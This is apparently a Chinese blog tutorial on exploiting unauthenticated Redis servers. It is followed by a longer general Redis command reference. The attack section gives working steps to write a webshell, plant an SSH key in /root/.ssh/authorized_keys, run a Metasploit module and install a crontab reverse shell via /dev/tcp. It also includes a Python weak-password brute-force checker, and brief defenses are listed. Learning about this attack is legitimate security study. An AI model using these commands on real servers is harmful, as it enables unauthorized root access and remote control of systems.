• 浅谈redis未授权漏洞


    redis未授权漏洞

    利用条件

    版本比较高的redis需要修改redis的配置文件,将bind前面#注释符去掉,将protected-mode 后面改为no

    写入webshell

    config get dir #查看redis数据库路径
    config set dir web路径# #修改靶机Redis数据库路径
    config set dbfilename shell.php #生成shell.php文件
    set xxx "\r\n\r\n\r\n\r\n"#将一句话木马写入文件中
    #"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
    set xxx "\r\n\r\n\r\n\r\n"#上传木马可以通过蚁剑连接
    save#保存
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    ssh密钥连接

    利用条件

    1.当redis以root身份运行。

    2.靶机redis链接未授权,在攻击机上能用redis-cli连上

    3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录(权限问题可能不成功)。因为.ssh是隐藏目录可以通过ls -la查看有没有。

    ssh-keygen -t rsa
    将公钥id_rsa.pub里面内容复制到key.txt上传到靶机上面
    
    cat key.txt | redis-cli -h ip -x set xxx#如果是windows 将cat换成type
    #将公钥作为value插入到数据库中
    redis-cli -h 192.168.43.141 
    config get dir
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    ssh -i id_rsa root@ip
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    msf利用

    msfdb run#开启msf
    search redis#查看有关redis的模块
    use 5
    show options
    set RHOST 192.168.3.207 #设置靶机的ip
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    利用crontab反弹shell

    nc -lvnp 4444
    
    redis-cli -h 192.168.0.104
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    过一分钟左右就可以收到shell

    python脚本检测未授权或弱口令

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO\r\n")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s\r\n" %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    防御方法

    1.绑定IP 把 #bind 127.0.0.1前面的注释#号去掉,把127.0.0.1改成你允许访问你的redis服务器的ip地址
    2.设置密码
    
    • 1
    • 2

    在这里插入图片描述

    redis基础知识

    安装配置

    kali(ubuntu)
    
    安装redis
    sudo apt-get update
    sudo apt-get install redis-server
    
    启动 Redis
    redis-server
    使用配置文件启动
    redis-server /etc/redis/redis.conf
    
    连接 redis
    redis-cli
    redis-cli -h 127.0.0.1 -p 6379
    redis-cli -h host -p port -a password
    
    避免中文乱码
    redis-cli --raw
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    编辑配置

    使用 CONFIG set 命令来修改配置

    redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
    OK
    
    redis 127.0.0.1:6379> CONFIG GET loglevel
    1) "loglevel"
    2) "notice"
    
    CONFIG GET *
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    key命令

    del 删除
    dump 序列化给定 key ,并返回被序列化的值。
    exists 检查给定 key 是否存在
    expire key seconds 为给定 key 设置过期时间,以秒计
    keys 正则匹配所有的key值
    ttl 返回剩余存活时间    -1不过期,-2已过期或不存在
    randomkey 从当前数据库中随机返回一个 key 。
    rename 重命名key
    type 返回类型
    flushall 删除所有的key
    quit 退出
    setex 设置包含过期时间的key
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    数据类型

    Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。

    字符串

    getrange 返回 key 中字符串值的子字符
    setnx 不存在时设置key值
    strlen 返回字符串的长度
    
    • 1
    • 2
    • 3

    列表

    lpush 左插
    rpush 右插
    lrange start end 查看内容
    lrange coleak 0 -1
    lpop 左取出
    rpop 右取出
    l(r)pop key number 删除指定数量的内容
    llen 返回长度
    ltrim key start end 保留区间内的元素
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    集合

    sadd 集合添加元素
    smembers 查看集合内元素
    srem 删除集合中的元素
    
    • 1
    • 2
    • 3

    有序集合

    zadd key number value 根据nmum大小添加到有序集合
    zrange key start end (withscores)按照顺序列举
    zscore key value 查看number
    zrank 查看排名(反序)
    zrevrank 正序排名
    zrem 删除某个内容
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    哈希

    hset person name coleak
    hset person age 20
    hget person age
    hgetall person 返回所有键值对
    hdel 删除键值对
    hdel person age
    hexists 判断键值对是否存在
    hexists person age
    hlen 键值对等数量
    hlen person
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    发布订阅模式

    SUBSCRIBE coleak
    PUBLISH coleak "cc"
    
    • 1
    • 2

    Stream消息队列

    xadd coleak * course math 这里*表示自动生成消息的id
    xadd coleak * course english
    xadd coleak * course cs
    xlen coleak
    xrange coleak - +  查看coleak中所有消息
    xdel coleak 1694008733008-0
    xtrim  coleak maxlen 0 删除所有消息
    
    xadd coleak 1-0 course git
    xadd coleak 2-0 course docker
    xadd coleak 3-0 course redis
    xread streams coleak 0  从第0条开始读取消息
    xread count 2 block 1000 streams coleak 0  读取两条,若一条都无则堵塞一千毫秒
    
    xread count 5 block 10000 streams coleak $ 读取从此刻开始的最新消息
    xadd coleak 1-0 course newbypass
    
    xgroup cokeak group1 0 消息名,组名,组id:添加消费者组
    xinfo groups coleak
    xgroup createconsumer coleak group1 con1
    xgroup createconsumer coleak group1 con2
    xgroup createconsumer coleak group1 con3
    xreadgroup group group1 con1 count 2 block 3000 streams coleak >
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    地理位置

    geoadd:添加地理位置的坐标。
    geopos:获取地理位置的坐标。
    geodist:计算两个位置之间的距离。
    georadius:根据用户给定的经纬度坐标来获取指定范围内的地理位置集合。
    georadiusbymember:根据储存在位置集合里面的某个地点获取指定范围内的地理位置集合。
    geohash:返回一个或多个位置对象的 geohash 值。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    HyperLogLog

    pfadd course1 git docker redis
    pfcount course1
    pfadd course2 python java redis docker
    pfcount course2
    pfmerge course course1 course2
    pfcount course    返回为5
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    bitmap

    set dianzan "\xf0"    11110000
    getbit dianzan 0      0
    getbit dianzan 3	  1
    bitcount dianzan 统计为1的数量
    bitpos dianzan 0 返回第一个出现0的位置
    
    • 1
    • 2
    • 3
    • 4
    • 5

    事务

    MULTI
    set k1 v1
    set k2 v2
    EXEC
    
    DISCARD
    取消事务,放弃执行事务块内的所有命令。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    持久化

    sudo vim /etc/redis/redis.conf
    save 3600 1 自动触发快照
    
    save 手动快照
    xxd dump.rdb
    bgsave 子进程进行保存,不影响当下数据的处理
    
    CONFIG GET dir 查看保存的路径
    
    AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
    appendonly yes
    
    dbfilename文件保存的路径
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    密码设置

    CONFIG set requirepass "coleak" 设置密码
    CONFIG get requirepass
    AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误
    弃执行事务块内的所有命令。
    
    • 1
    • 2
    • 3
    • 4

    持久化

    sudo vim /etc/redis/redis.conf
    save 3600 1 自动触发快照
    
    save 手动快照
    xxd dump.rdb
    bgsave 子进程进行保存,不影响当下数据的处理
    
    CONFIG GET dir 查看保存的路径
    
    AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
    appendonly yes
    
    dbfilename文件保存的路径
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    密码设置

    CONFIG set requirepass "coleak" 设置密码
    CONFIG get requirepass
    AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误
    
    • 1
    • 2
    • 3
  • 相关阅读:
    【Spring Boot系列】快速上手 Spring Boot
    android studio运行APP到手机
    1554_AURIX_TC275_时钟监控功能以及时钟紧急行为
    项目九、无线组网
    数据可视化之:没有西瓜的夏天不叫夏天
    Dubbo之参数配置(一)
    Python如何调用C和C++
    华为机试 - 欢乐的周末
    h5禁止滚动穿透(页面)
    Qt : 如何解决重载引起的歧义
  • 原文地址:https://blog.csdn.net/qq_63701832/article/details/132726512